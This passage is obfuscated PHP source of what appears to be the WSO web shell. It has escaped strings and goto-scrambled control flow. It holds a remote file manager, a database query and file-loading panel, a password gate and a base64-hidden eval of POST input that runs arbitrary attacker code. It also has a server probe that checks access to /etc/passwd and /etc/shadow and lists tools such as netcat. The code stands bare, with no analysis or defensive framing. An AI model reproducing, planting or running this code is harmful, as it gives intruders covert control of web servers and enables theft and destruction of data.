"\74\x74\144\x3e" . nl2br(htmlspecialchars($value)) . "\x3c\57\164\144\x3e"; } } echo "\74\x2f\164\162\x3e"; } echo "\x3c\57\x74\141\142\x6c\x65\76"; } else { echo "\74\144\151\166\76\x3c\x62\x3e\x45\162\x72\x6f\162\72\74\57\x62\76\40" . htmlspecialchars($db->error()) . "\74\x2f\144\x69\x76\76"; } } echo "\74\142\162\76\74\x2f\146\157\x72\155\76\x3c\x66\157\162\155\x20\157\156\163\165\x62\x6d\151\164\x3d\x27\x64\x2e\x73\x66\56\160\61\56\x76\141\x6c\165\145\x3d\42\x71\165\145\x72\x79\42\x3b\x64\x2e\x73\146\x2e\x70\62\x2e\x76\x61\x6c\x75\x65\75\164\150\x69\x73\x2e\x71\x75\x65\162\171\56\166\x61\x6c\x75\x65\73\144\x6f\143\x75\x6d\145\156\x74\56\163\146\x2e\163\165\142\x6d\151\164\50\51\x3b\x72\145\164\x75\162\x6e\x20\x66\141\x6c\163\145\x3b\47\x3e\x3c\x74\x65\170\x74\x61\x72\145\141\x20\x6e\x61\x6d\x65\x3d\47\161\165\145\x72\171\47\x20\163\164\171\x6c\x65\x3d\47\x77\x69\144\x74\150\72\x31\60\60\x25\x3b\150\145\151\147\x68\164\72\61\60\60\x70\x78\x27\x3e"; if (!empty($_POST["\160\62"]) && $_POST["\160\61"] != "\x6c\x6f\x61\144\146\151\x6c\145") { echo htmlspecialchars($_POST["\x70\x32"]); } echo "\74\x2f\164\x65\170\x74\141\x72\x65\x61\x3e\x3c\142\x72\57\76\x3c\151\156\160\165\164\x20\x74\x79\x70\x65\75\x73\165\142\155\x69\164\40\166\x61\154\165\x65\75\47\x45\170\x65\143\165\164\x65\47\76"; echo "\74\x2f\164\x64\x3e\74\57\x74\162\76"; } echo "\x3c\57\x74\141\142\154\x65\76\74\x2f\x66\157\162\x6d\x3e\74\x62\x72\x2f\76"; if ($_POST["\x74\171\160\x65"] == "\155\x79\163\161\154") { $db->query("\123\105\114\105\103\124\40\x31\x20\x46\x52\117\115\40\x6d\171\163\161\x6c\x2e\x75\x73\145\x72\x20\127\110\x45\122\x45\40\x63\157\x6e\x63\141\x74\50\x60\165\163\x65\162\x60\x2c\40\x27\100\x27\54\40\x60\x68\x6f\x73\x74\140\x29\x20\x3d\x20\x55\x53\105\x52\50\x29\x20\101\x4e\104\x20\140\x46\151\x6c\145\x5f\160\162\151\x76\140\40\75\x20\x27\171\47"); if ($db->fetch()) { echo "\x3c\x66\x6f\x72\155\x20\x6f\156\x73\x75\x62\x6d\x69\x74\x3d\47\x64\56\x73\x66\56\160\61\56\x76\x61\154\x75\x65\75\42\x6c\x6f\x61\144\146\x69\154\145\x22\73\x64\157\x63\165\x6d\x65\x6e\164\56\x73\146\x2e\x70\x32\56\166\141\x6c\165\x65\x3d\164\x68\151\163\56\x66\x2e\166\x61\154\x75\x65\x3b\x64\x6f\143\x75\x6d\x65\156\164\x2e\x73\x66\56\163\x75\x62\x6d\x69\164\x28\51\73\x72\145\164\x75\162\x6e\40\x66\x61\154\163\145\x3b\x27\x3e\x3c\163\160\141\x6e\76\114\157\x61\x64\40\x66\x69\154\145\74\57\163\x70\x61\156\76\40\74\151\156\x70\165\164\x20\x20\x63\x6c\x61\x73\x73\x3d\47\164\x6f\157\x6c\163\111\x6e\160\x27\x20\x74\171\160\145\75\x74\x65\x78\164\40\156\141\x6d\x65\x3d\x66\x3e\74\151\156\x70\x75\164\40\x74\171\160\145\75\163\165\x62\x6d\151\x74\x20\166\x61\x6c\165\x65\x3d\x27\x3e\76\x27\x3e\74\x2f\x66\x6f\x72\x6d\x3e"; } } if (@$_POST["\160\61"] == "\x6c\157\141\x64\146\151\x6c\145") { $file = $db->loadFile($_POST["\160\62"]); echo "\x3c\142\x72\57\x3e\74\x70\x72\x65\x20\x63\154\141\163\163\75\155\154\x31\x3e" . htmlspecialchars($file["\146\151\154\145"]) . "\74\57\160\162\145\76"; } } else { echo htmlspecialchars($db->error()); } echo "\x3c\57\x64\151\166\x3e"; wsoFooter(); } goto XKhEZ; MByfO: function actionFilesMan() { if (!empty($_COOKIE["\x66"])) { $_COOKIE["\146"] = @unserialize($_COOKIE["\146"]); } if (!empty($_POST["\x70\x31"])) { switch ($_POST["\160\x31"]) { case "\x75\160\x6c\x6f\141\x64\106\x69\154\x65": if (!@move_uploaded_file($_FILES["\146"]["\164\x6d\160\x5f\156\141\x6d\x65"], $_FILES["\146"]["\x6e\141\x6d\145"])) { echo "\x43\141\x6e\x27\164\40\x75\160\x6c\x6f\x61\x64\40\146\151\154\145\41"; } break; case "\155\153\144\151\x72": if (!@mkdir($_POST["\160\x32"])) { echo "\x43\141\x6e\47\164\40\143\x72\x65\141\164\145\40\156\145\x77\x20\x64\x69\x72"; } break; case "\x64\x65\154\x65\x74\145": function deleteDir($path) { $path = substr($path, -1) == "\x2f" ? $path : $path . "\x2f"; $dh = opendir($path); while (($item = readdir($dh)) !== false) { $item = $path . $item; if (basename($item) == "\56\56" || basename($item) == "\x2e") { continue; } $type = filetype($item); if ($type == "\144\151\162") { deleteDir($item); } else { @unlink($item); } } closedir($dh); @rmdir($path); } if (is_array(@$_POST["\146"])) { foreach ($_POST["\146"] as $f) { if ($f == "\x2e\x2e") { continue; } $f = urldecode($f); if (is_dir($f)) { deleteDir($f); } else { @unlink($f); } } } break; case "\x70\141\163\x74\x65": if ($_COOKIE["\141\x63\164"] == "\143\x6f\x70\x79") { function copy_paste($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "\56" and $f != "\56\56") { copy_paste($c . $s . "\x2f", $f, $d . $s . "\x2f"); } } } elseif (is_file($c . $s)) { @copy($c . $s, $d . $s); } } foreach ($_COOKIE["\x66"] as $f) { copy_paste($_COOKIE["\143"], $f, $GLOBALS["\x63\167\144"]); } } elseif ($_COOKIE["\x61\143\164"] == "\155\x6f\166\145") { function move_paste($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "\x2e" and $f != "\x2e\56") { copy_paste($c . $s . "\x2f", $f, $d . $s . "\x2f"); } } } elseif (@is_file($c . $s)) { @copy($c . $s, $d . $s); } } foreach ($_COOKIE["\146"] as $f) { @rename($_COOKIE["\143"] . $f, $GLOBALS["\x63\167\x64"] . $f); } } elseif ($_COOKIE["\141\x63\164"] == "\x7a\151\160") { if (class_exists("\132\x69\x70\x41\x72\143\x68\151\166\145")) { $zip = new ZipArchive(); if ($zip->open($_POST["\x70\x32"], 1)) { chdir($_COOKIE["\x63"]); foreach ($_COOKIE["\146"] as $f) { if ($f == "\x2e\56") { continue; } if (@is_file($_COOKIE["\x63"] . $f)) { $zip->addFile($_COOKIE["\x63"] . $f, $f); } elseif (@is_dir($_COOKIE["\x63"] . $f)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . "\57")); foreach ($iterator as $key => $value) { $zip->addFile(realpath($key), $key); } } } chdir($GLOBALS["\x63\x77\144"]); $zip->close(); } } } elseif ($_COOKIE["\141\x63\x74"] == "\165\x6e\x7a\x69\160") { if (class_exists("\x5a\151\160\x41\x72\143\150\151\166\145")) { $zip = new ZipArchive(); foreach ($_COOKIE["\x66"] as $f) { if ($zip->open($_COOKIE["\143"] . $f)) { $zip->extractTo($GLOBALS["\x63\167\144"]); $zip->close(); } } } } elseif ($_COOKIE["\141\143\x74"] == "\164\141\162") { chdir($_COOKIE["\143"]); $_COOKIE["\x66"] = array_map("\145\163\x63\141\160\x65\x73\x68\x65\154\154\141\x72\147", $_COOKIE["\x66"]); wsoEx("\x74\141\162\x20\x63\146\172\x76\x20" . escapeshellarg($_POST["\160\x32"]) . "\40" . implode("\40", $_COOKIE["\x66"])); chdir($GLOBALS["\x63\x77\144"]); } unset($_COOKIE["\x66"]); setcookie("\146", '', time() - 3600); break; default: if (!empty($_POST["\160\x31"])) { WSOsetcookie("\x61\x63\x74", $_POST["\160\61"]); WSOsetcookie("\x66", serialize(@$_POST["\146"])); WSOsetcookie("\143", @$_POST["\x63"]); } break; } } wsoHeader(); echo "\74\150\61\76\x46\151\154\x65\x20\x6d\141\156\x61\147\145\162\x3c\57\150\61\x3e\74\x64\x69\166\x20\143\x6c\141\x73\163\75\x63\x6f\156\164\145\x6e\x74\76\74\x73\143\x72\151\x70\164\76\x70\x31\x5f\x3d\x70\62\x5f\x3d\160\63\137\x3d\42\x22\73\x3c\x2f\163\143\x72\x69\x70\x74\x3e"; $dirContent = wsoScandir(isset($_POST["\143"]) ? $_POST["\143"] : $GLOBALS["\143\167\144"]); if ($dirContent === false) { echo "\x43\x61\156\x27\x74\x20\157\x70\145\x6e\40\164\150\151\163\40\x66\157\x6c\x64\x65\162\41"; wsoFooter(); return; } global $sort; $sort = array("\156\141\155\145", 1); if (!empty($_POST["\x70\61"])) { if (preg_match("\x21\x73\x5f\50\x5b\x41\55\x7a\x5d\53\51\137\x28\134\x64\173\61\175\51\41", $_POST["\160\x31"], $match)) { $sort = array($match[1], (int) $match[2]); } } echo "\x3c\163\x63\162\151\x70\x74\x3e\12\11\146\165\156\x63\x74\x69\x6f\x6e\40\163\x61\x28\51\40\x7b\12\x9\x9\146\x6f\162\x28\x69\75\x30\73\x69\74\144\56\x66\151\154\145\x73\x2e\145\154\x65\x6d\x65\156\164\163\56\154\145\156\147\x74\x68\73\x69\x2b\x2b\51\xa\x9\x9\x9\x69\146\50\144\x2e\x66\x69\x6c\145\163\56\145\x6c\x65\x6d\145\156\x74\163\x5b\x69\135\x2e\164\x79\160\x65\x20\x3d\x3d\40\x27\143\150\x65\x63\153\x62\157\170\47\51\12\11\x9\x9\11\x64\56\146\151\154\x65\x73\x2e\x65\154\145\155\145\x6e\x74\x73\133\151\x5d\56\143\150\x65\x63\x6b\x65\144\40\x3d\40\144\56\146\x69\154\x65\163\56\x65\154\x65\x6d\145\x6e\164\x73\133\x30\135\x2e\143\x68\145\143\153\x65\144\73\xa\x9\x7d\xa\74\57\163\x63\162\x69\x70\x74\76\12\x3c\164\x61\x62\154\x65\40\167\151\144\164\150\75\x27\x31\x30\60\45\x27\40\143\x6c\x61\x73\x73\75\x27\155\141\151\156\x27\x20\x63\145\x6c\154\163\x70\141\x63\x69\x6e\x67\75\x27\x30\47\40\143\145\154\154\x70\x61\144\x64\151\156\x67\x3d\x27\x32\x27\76\xa\74\x66\157\162\x6d\40\156\141\155\145\x3d\x66\x69\x6c\145\x73\x20\155\x65\164\150\x6f\144\x3d\160\x6f\x73\x74\x3e\x3c\164\162\76\x3c\x74\x68\40\167\151\x64\x74\x68\x3d\47\x31\63\160\170\x27\76\74\151\x6e\x70\x75\x74\x20\x74\171\x70\x65\75\x63\x68\x65\x63\x6b\142\157\x78\40\157\x6e\143\x6c\x69\x63\x6b\x3d\47\163\x61\x28\x29\x27\x20\x63\x6c\141\x73\163\x3d\143\x68\x6b\142\170\76\x3c\x2f\164\x68\x3e\74\x74\x68\76\x3c\141\40\x68\162\x65\146\x3d\x27\43\x27\x20\157\156\x63\x6c\151\x63\153\75\47\147\x28\x22\x46\151\x6c\145\x73\x4d\x61\156\x22\54\156\x75\154\x6c\x2c\x22\x73\x5f\156\141\155\x65\x5f" . ($sort[1] ? 0 : 1) . "\x22\x29\x27\76\x4e\141\x6d\x65\x3c\57\141\x3e\74\x2f\164\x68\76\74\x74\150\x3e\74\x61\x20\x68\162\145\x66\x3d\47\43\x27\x20\157\156\143\x6c\x69\x63\153\75\47\x67\x28\x22\106\151\x6c\145\163\x4d\141\156\x22\54\x6e\165\154\x6c\54\x22\x73\x5f\163\x69\x7a\x65\137" . ($sort[1] ? 0 : 1) . "\x22\51\x27\x3e\x53\x69\x7a\x65\74\57\x61\76\x3c\x2f\x74\x68\76\x3c\164\x68\76\x3c\x61\x20\150\162\x65\x66\x3d\47\43\47\x20\x6f\156\x63\x6c\151\143\153\75\47\147\50\42\x46\151\x6c\145\163\115\x61\156\x22\54\156\165\154\x6c\54\x22\163\x5f\155\157\144\151\x66\x79\137" . ($sort[1] ? 0 : 1) . "\x22\x29\x27\x3e\x4d\x6f\x64\151\x66\171\74\57\x61\x3e\x3c\57\164\150\x3e\x3c\x74\150\x3e\117\x77\156\145\162\x2f\107\162\x6f\x75\x70\74\x2f\164\x68\76\74\x74\x68\x3e\x3c\x61\x20\150\x72\x65\146\75\x27\x23\x27\40\157\x6e\143\154\151\143\153\x3d\x27\x67\x28\x22\106\151\x6c\145\x73\x4d\x61\x6e\42\54\156\x75\154\x6c\54\42\x73\x5f\x70\145\x72\x6d\x73\137" . ($sort[1] ? 0 : 1) . "\42\x29\x27\x3e\120\x65\162\x6d\151\x73\163\x69\157\x6e\163\x3c\x2f\x61\x3e\x3c\x2f\x74\x68\76\x3c\164\x68\76\x41\x63\164\x69\157\x6e\163\74\x2f\164\150\x3e\x3c\57\164\162\76"; $dirs = $files = array(); $n = count($dirContent); for ($i = 0; $i < $n; $i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array("\x6e\141\x6d\x65" => $dirContent[$i], "\160\x61\x74\150" => $GLOBALS["\143\167\x64"] . $dirContent[$i], "\x6d\x6f\144\151\146\x79" => date("\x59\55\155\55\x64\40\110\72\151\72\x73", @filemtime($GLOBALS["\143\167\x64"] . $dirContent[$i])), "\160\x65\162\155\x73" => wsoPermsColor($GLOBALS["\143\x77\144"] . $dirContent[$i]), "\x73\151\x7a\x65" => @filesize($GLOBALS["\143\x77\144"] . $dirContent[$i]), "\157\x77\156\145\x72" => $ow["\156\x61\x6d\x65"] ? $ow["\x6e\141\155\x65"] : @fileowner($dirContent[$i]), "\147\x72\x6f\x75\160" => $gr["\x6e\141\x6d\145"] ? $gr["\156\x61\x6d\145"] : @filegroup($dirContent[$i])); if (@is_file($GLOBALS["\143\167\x64"] . $dirContent[$i])) { $files[] = array_merge($tmp, array("\164\171\160\145" => "\x66\x69\154\145")); } elseif (@is_link($GLOBALS["\143\167\x64"] . $dirContent[$i])) { $dirs[] = array_merge($tmp, array("\x74\x79\x70\145" => "\154\151\156\x6b", "\154\x69\x6e\x6b" => readlink($tmp["\x70\141\164\150"]))); } elseif (@is_dir($GLOBALS["\143\167\x64"] . $dirContent[$i]) && $dirContent[$i] != "\x2e") { $dirs[] = array_merge($tmp, array("\164\171\x70\145" => "\x64\151\x72")); } } $GLOBALS["\163\157\162\164"] = $sort; function wsoCmp($a, $b) { if ($GLOBALS["\x73\x6f\x72\x74"][0] != "\x73\151\x7a\x65") { return strcmp(strtolower($a[$GLOBALS["\x73\157\x72\164"][0]]), strtolower($b[$GLOBALS["\163\157\x72\164"][0]])) * ($GLOBALS["\x73\x6f\162\164"][1] ? 1 : -1); } else { return ($a["\163\x69\172\145"] < $b["\x73\151\172\x65"] ? -1 : 1) * ($GLOBALS["\163\157\162\x74"][1] ? 1 : -1); } } usort($files, "\167\163\x6f\103\x6d\160"); usort($dirs, "\x77\x73\157\103\155\160"); $files = array_merge($dirs, $files); $l = 0; foreach ($files as $f) { echo "\x3c\164\x72" . ($l ? "\40\143\154\141\163\x73\x3d\x6c\x31" : '') . "\76\x3c\164\144\76\x3c\x69\156\x70\x75\164\40\x74\171\160\145\75\x63\x68\x65\x63\x6b\x62\157\x78\40\x6e\x61\x6d\145\75\42\146\x5b\135\x22\x20\166\x61\154\x75\x65\75\x22" . urlencode($f["\x6e\x61\155\145"]) . "\42\x20\x63\154\x61\163\163\75\143\x68\153\142\x78\x3e\74\x2f\164\144\x3e\x3c\164\144\76\x3c\x61\40\150\x72\x65\146\x3d\x23\40\157\x6e\x63\x6c\151\x63\153\75\42" . ($f["\x74\171\x70\x65"] == "\146\151\154\145" ? "\x67\x28\x27\x46\x69\x6c\x65\x73\124\x6f\157\x6c\x73\47\x2c\156\x75\x6c\x6c\54\x27" . urlencode($f["\156\x61\x6d\x65"]) . "\47\x2c\x20\x27\166\x69\x65\167\47\51\x22\x3e" . htmlspecialchars($f["\156\141\155\x65"]) : "\x67\x28\x27\106\x69\154\145\163\x4d\x61\x6e\47\54\x27" . $f["\x70\x61\x74\150"] . "\x27\x29\x3b\x22\x20" . (empty($f["\154\x69\x6e\153"]) ? '' : "\x74\x69\x74\154\x65\75\x27{$f["\154\x69\156\153"]}\x27") . "\76\74\x62\x3e\133\40" . htmlspecialchars($f["\156\141\155\x65"]) . "\x20\135\x3c\57\142\76") . "\x3c\57\x61\x3e\x3c\57\164\144\76\x3c\x74\144\x3e" . ($f["\164\x79\160\145"] == "\x66\151\x6c\x65" ? wsoViewSize($f["\163\151\172\145"]) : $f["\164\171\160\145"]) . "\74\x2f\164\x64\x3e\74\x74\x64\76" . $f["\155\157\x64\x69\146\171"] . "\74\57\x74\x64\x3e\x3c\164\144\x3e" . $f["\157\167\x6e\x65\x72"] . "\57" . $f["\x67\162\x6f\165\160"] . "\x3c\57\164\x64\76\x3c\x74\x64\76\x3c\141\40\x68\x72\x65\146\75\x23\40\157\x6e\143\154\x69\x63\153\75\42\x67\50\47\x46\151\x6c\x65\x73\x54\x6f\x6f\x6c\x73\x27\54\x6e\x75\x6c\x6c\54\47" . urlencode($f["\156\x61\x6d\x65"]) . "\47\54\47\x63\150\155\157\144\47\x29\x22\x3e" . $f["\160\x65\x72\155\163"] . "\74\57\x74\x64\76\74\x74\x64\76\74\x61\x20\150\162\x65\146\75\42\43\42\40\x6f\156\x63\154\x69\x63\x6b\75\x22\x67\50\47\x46\x69\154\145\163\x54\157\x6f\154\x73\47\54\x6e\165\154\154\54\47" . urlencode($f["\156\x61\155\x65"]) . "\x27\54\x20\47\162\x65\x6e\x61\x6d\x65\x27\51\x22\x3e\x52\74\x2f\x61\76\x20\74\x61\40\x68\162\145\x66\75\x22\x23\x22\40\x6f\x6e\x63\x6c\x69\143\153\x3d\x22\147\x28\x27\106\x69\x6c\145\163\124\x6f\157\x6c\163\x27\54\x6e\165\x6c\154\54\x27" . urlencode($f["\156\x61\155\145"]) . "\x27\x2c\40\47\164\157\x75\143\x68\x27\51\x22\76\124\74\57\141\76" . ($f["\164\x79\160\x65"] == "\146\151\x6c\145" ? "\40\x3c\141\x20\150\x72\x65\x66\x3d\42\43\42\x20\x6f\156\x63\x6c\151\143\x6b\75\x22\147\50\47\x46\x69\x6c\x65\163\x54\x6f\x6f\x6c\x73\x27\54\x6e\x75\154\x6c\x2c\47" . urlencode($f["\x6e\x61\x6d\145"]) . "\47\54\x20\x27\x65\144\151\x74\47\x29\x22\x3e\x45\74\57\141\x3e\40\x3c\x61\x20\150\x72\x65\146\75\x22\43\x22\x20\x6f\156\143\154\x69\143\153\75\x22\x67\50\47\106\151\x6c\x65\x73\124\x6f\x6f\154\x73\x27\54\x6e\x75\x6c\x6c\x2c\47" . urlencode($f["\156\141\x6d\x65"]) . "\x27\x2c\40\x27\144\x6f\167\156\x6c\x6f\x61\144\47\51\x22\76\x44\x3c\57\x61\76" : '') . "\74\x2f\164\x64\x3e\74\x2f\x74\162\x3e"; $l = $l ? 0 : 1; } echo "\x3c\164\162\x3e\x3c\x74\144\x20\143\157\154\163\x70\x61\156\x3d\67\x3e\12\11\74\x69\156\x70\165\164\40\x74\171\x70\145\x3d\x68\151\x64\144\145\156\x20\156\x61\155\x65\x3d\141\40\x76\x61\x6c\165\x65\75\x27\106\151\154\145\x73\115\141\x6e\47\x3e\xa\11\x3c\x69\156\160\165\164\40\x74\x79\160\145\75\x68\151\x64\x64\145\x6e\40\x6e\x61\155\x65\x3d\143\40\x76\x61\x6c\165\x65\x3d\47" . htmlspecialchars($GLOBALS["\143\167\144"]) . "\47\x3e\12\11\74\151\156\x70\165\164\40\164\171\160\x65\x3d\150\151\144\x64\145\x6e\40\156\x61\155\145\75\143\x68\x61\162\163\x65\x74\x20\x76\141\x6c\x75\145\x3d\47" . (isset($_POST["\x63\x68\x61\162\x73\x65\x74"]) ? $_POST["\143\150\x61\x72\163\x65\x74"] : '') . "\x27\x3e\xa\11\74\x73\x65\154\145\x63\x74\40\156\x61\x6d\145\75\x27\x70\x31\47\x3e\x3c\157\160\x74\151\157\x6e\40\166\141\x6c\165\x65\x3d\x27\x63\x6f\160\171\x27\76\103\157\160\x79\x3c\57\x6f\160\164\x69\157\x6e\76\x3c\157\x70\x74\x69\157\x6e\x20\x76\x61\154\165\x65\x3d\47\x6d\157\x76\145\x27\x3e\115\x6f\x76\145\x3c\x2f\x6f\160\x74\151\x6f\156\x3e\x3c\x6f\x70\164\x69\157\156\40\x76\x61\154\x75\x65\x3d\47\x64\x65\x6c\x65\x74\x65\x27\76\104\145\154\x65\x74\145\x3c\x2f\157\x70\x74\x69\x6f\156\x3e"; if (class_exists("\132\x69\x70\x41\x72\x63\x68\151\166\x65")) { echo "\x3c\157\x70\164\151\157\x6e\x20\x76\x61\154\165\145\75\x27\172\151\x70\47\x3e\103\157\155\x70\162\x65\x73\x73\40\x28\172\x69\160\x29\74\x2f\157\160\164\151\157\156\x3e\74\x6f\160\164\x69\157\156\x20\x76\x61\154\x75\x65\x3d\47\165\x6e\172\x69\x70\47\76\125\156\x63\x6f\155\x70\162\x65\x73\163\x20\50\172\x69\x70\51\x3c\x2f\x6f\160\x74\x69\x6f\x6e\x3e"; } echo "\74\157\x70\164\x69\157\x6e\40\x76\141\154\165\x65\75\x27\164\141\x72\47\x3e\103\157\x6d\160\x72\x65\x73\163\40\50\x74\x61\x72\x2e\147\172\51\x3c\57\157\160\164\x69\157\x6e\x3e"; if (!empty($_COOKIE["\x61\143\x74"]) && @count($_COOKIE["\x66"])) { echo "\x3c\157\160\164\x69\x6f\x6e\x20\166\141\x6c\x75\145\x3d\x27\160\x61\x73\x74\x65\x27\x3e\120\x61\x73\164\x65\40\x2f\x20\103\157\x6d\x70\x72\x65\x73\163\74\x2f\x6f\x70\x74\151\x6f\156\x3e"; } echo "\74\x2f\x73\145\x6c\x65\143\x74\x3e\46\x6e\142\x73\160\x3b"; if (!empty($_COOKIE["\141\143\x74"]) && @count($_COOKIE["\x66"]) && ($_COOKIE["\141\x63\x74"] == "\x7a\151\160" || $_COOKIE["\x61\x63\x74"] == "\164\141\x72")) { echo "\146\151\154\145\40\156\x61\x6d\x65\x3a\x20\x3c\x69\156\160\x75\x74\40\x74\171\160\x65\75\164\145\170\164\40\156\141\155\145\x3d\x70\62\40\x76\x61\154\165\x65\x3d\x27\x77\163\x6f\x5f" . date("\x59\155\144\137\110\x69\x73") . "\56" . ($_COOKIE["\141\143\x74"] == "\172\x69\160" ? "\x7a\151\x70" : "\164\141\x72\56\x67\172") . "\x27\x3e\x26\156\142\163\x70\73"; } echo "\74\x69\x6e\x70\x75\164\40\164\x79\160\x65\75\47\163\x75\x62\155\151\164\x27\x20\166\141\154\x75\x65\75\47\76\76\47\x3e\x3c\x2f\164\144\76\74\57\164\x72\76\x3c\x2f\x66\x6f\162\155\76\x3c\57\164\x61\142\x6c\x65\76\x3c\x2f\144\x69\x76\x3e"; wsoFooter(); } goto N2iXx; bUnBe: if (!empty($auth_pass)) { if (isset($_POST["\x70\x61\x73\163"]) && md5($_POST["\160\141\163\x73"]) == $auth_pass) { WSOsetcookie(md5($_SERVER["\110\x54\x54\120\x5f\110\x4f\x53\124"]), $auth_pass); } if (!isset($_COOKIE[md5($_SERVER["\110\124\124\120\x5f\x48\117\123\x54"])]) || $_COOKIE[md5($_SERVER["\x48\124\124\120\x5f\x48\117\123\x54"])] != $auth_pass) { wsoLogin(); } } goto pqrUK; pqrUK: if (strtolower(substr(PHP_OS, 0, 3)) == "\x77\x69\156") { $os = "\x77\151\156"; } else { $os = "\156\151\170"; } goto NCu9f; SXC8a: function actionLogout() { setcookie(md5($_SERVER["\110\124\x54\120\x5f\110\117\123\124"]), '', time() - 3600); die("\142\171\x65\x21"); } goto OhPGq; bP3xS: @ini_set("\x6d\x61\170\137\145\x78\145\x63\x75\x74\x69\157\156\137\164\151\x6d\145", 0); goto hvHWh; kKb5l: $Main = create_function('', base64_decode("\121\x47\x56\62\x59\x57\x77\x6f\x4a\x46\71\121\x54\61\x4e\x55\127\x79\112\x72\115\103\x4a\144\113\124\163\75")); goto ruvon; TUnnK: if (isset($_POST["\143"])) { @chdir($_POST["\143"]); } goto E0_34; p7swQ: $color = "\43\60\60\x66\x66\x30\x30"; goto lL58N; dcXMn: function actionSecInfo() { wsoHeader(); echo "\x3c\150\61\x3e\123\x65\x72\166\x65\x72\40\163\x65\x63\165\x72\151\x74\171\40\x69\x6e\146\x6f\162\x6d\141\x74\x69\157\156\x3c\x2f\x68\61\x3e\x3c\x64\x69\166\x20\x63\154\141\x73\x73\75\x63\157\156\x74\x65\156\164\x3e"; function wsoSecParam($n, $v) { $v = trim($v); if ($v) { echo "\74\163\x70\141\156\x3e" . $n . "\72\x20\x3c\x2f\163\x70\x61\156\76"; if (strpos($v, "\xa") === false) { echo $v . "\74\142\x72\x3e"; } else { echo "\x3c\160\162\x65\40\x63\x6c\x61\163\x73\75\155\x6c\x31\x3e" . $v . "\x3c\x2f\160\x72\x65\x3e"; } } } wsoSecParam("\123\145\162\x76\145\x72\x20\163\157\146\164\167\x61\162\145", @getenv("\x53\105\x52\126\x45\122\137\123\117\106\124\127\x41\122\x45")); if (function_exists("\x61\160\141\143\150\x65\x5f\147\145\x74\x5f\155\x6f\144\x75\154\145\163")) { wsoSecParam("\114\157\x61\x64\x65\x64\x20\101\160\x61\x63\150\145\40\155\157\144\165\154\145\163", implode("\54\x20", apache_get_modules())); } wsoSecParam("\104\151\163\141\x62\x6c\145\144\40\120\x48\120\x20\x46\165\156\x63\164\x69\157\x6e\163", $GLOBALS["\144\x69\163\x61\x62\154\x65\x5f\x66\165\156\143\164\151\x6f\x6e\163"] ? $GLOBALS["\144\151\x73\x61\142\154\x65\137\146\x75\156\x63\x74\151\157\156\163"] : "\x6e\x6f\156\145"); wsoSecParam("\117\160\145\156\x20\x62\x61\x73\145\x20\x64\x69\x72", @ini_get("\x6f\x70\145\x6e\137\x62\x61\163\145\144\x69\162")); wsoSecParam("\123\x61\146\145\40\155\x6f\x64\x65\x20\x65\170\x65\x63\x20\144\x69\x72", @ini_get("\x73\x61\x66\x65\137\155\157\x64\145\x5f\145\x78\145\x63\x5f\x64\151\x72")); wsoSecParam("\123\141\146\145\40\155\157\144\x65\x20\x69\156\143\154\x75\144\145\40\144\151\x72", @ini_get("\x73\141\146\145\x5f\x6d\x6f\x64\x65\137\151\x6e\x63\x6c\165\144\x65\137\144\x69\162")); wsoSecParam("\143\x55\x52\114\40\x73\x75\x70\160\x6f\x72\x74", function_exists("\x63\165\162\x6c\x5f\166\145\162\163\151\157\156") ? "\x65\156\141\x62\154\x65\144" : "\x6e\x6f"); $temp = array(); if (function_exists("\x6d\x79\163\x71\154\137\x67\145\164\137\143\x6c\151\145\x6e\164\137\151\x6e\x66\x6f")) { $temp[] = "\115\171\123\161\154\40\x28" . mysql_get_client_info() . "\x29"; } if (function_exists("\x6d\163\163\x71\x6c\x5f\x63\x6f\x6e\156\x65\143\x74")) { $temp[] = "\115\x53\x53\x51\114"; } if (function_exists("\x70\x67\x5f\143\x6f\x6e\x6e\145\143\x74")) { $temp[] = "\120\x6f\x73\164\147\x72\x65\123\121\x4c"; } if (function_exists("\x6f\143\x69\137\143\x6f\156\156\145\143\x74")) { $temp[] = "\117\162\x61\x63\x6c\x65"; } wsoSecParam("\x53\x75\160\160\157\x72\164\x65\144\x20\144\141\x74\141\142\141\163\145\x73", implode("\x2c\40", $temp)); echo "\x3c\142\x72\x3e"; if ($GLOBALS["\x6f\x73"] == "\x6e\x69\170") { wsoSecParam("\122\x65\x61\x64\141\x62\154\145\x20\x2f\x65\164\143\x2f\x70\x61\x73\163\167\x64", @is_readable("\x2f\x65\164\x63\57\160\141\x73\163\167\x64") ? "\x79\145\163\x20\x3c\x61\40\x68\162\x65\x66\x3d\47\43\x27\40\x6f\156\x63\154\x69\x63\153\75\x27\147\x28\x22\x46\x69\x6c\x65\x73\124\x6f\x6f\154\x73\x22\54\40\x22\57\x65\164\x63\57\42\54\x20\42\160\141\x73\x73\167\144\42\x29\47\76\x5b\166\151\145\167\x5d\x3c\57\141\x3e" : "\x6e\157"); wsoSecParam("\x52\145\141\x64\141\142\x6c\145\40\57\x65\x74\143\57\163\150\x61\x64\x6f\167", @is_readable("\57\x65\x74\143\x2f\163\x68\141\144\157\167") ? "\171\145\163\x20\x3c\x61\x20\x68\x72\x65\x66\75\x27\x23\47\x20\x6f\x6e\x63\x6c\x69\x63\153\x3d\47\147\x28\x22\x46\x69\x6c\x65\x73\124\x6f\x6f\x6c\x73\42\54\x20\x22\x2f\x65\x74\143\57\42\x2c\40\42\x73\150\x61\x64\157\x77\x22\51\47\x3e\x5b\x76\x69\145\167\135\74\x2f\x61\76" : "\x6e\x6f"); wsoSecParam("\x4f\x53\x20\x76\145\x72\163\x69\157\x6e", @file_get_contents("\57\x70\162\x6f\x63\x2f\166\145\x72\x73\x69\157\x6e")); wsoSecParam("\x44\151\163\164\x72\x20\x6e\141\x6d\145", @file_get_contents("\x2f\x65\x74\x63\x2f\x69\x73\x73\165\x65\56\x6e\145\164")); if (!$GLOBALS["\163\141\146\145\137\x6d\157\144\x65"]) { $userful = array("\147\143\x63", "\154\143\x63", "\143\143", "\154\144", "\155\x61\x6b\x65", "\x70\x68\x70", "\160\x65\162\154", "\160\171\164\150\x6f\x6e", "\162\x75\142\x79", "\164\141\x72", "\x67\x7a\151\160", "\142\x7a\151\x70", "\x62\x7a\151\x70\62", "\156\x63", "\154\x6f\143\141\164\x65", "\x73\165\x69\x64\160\x65\162\154"); $danger = 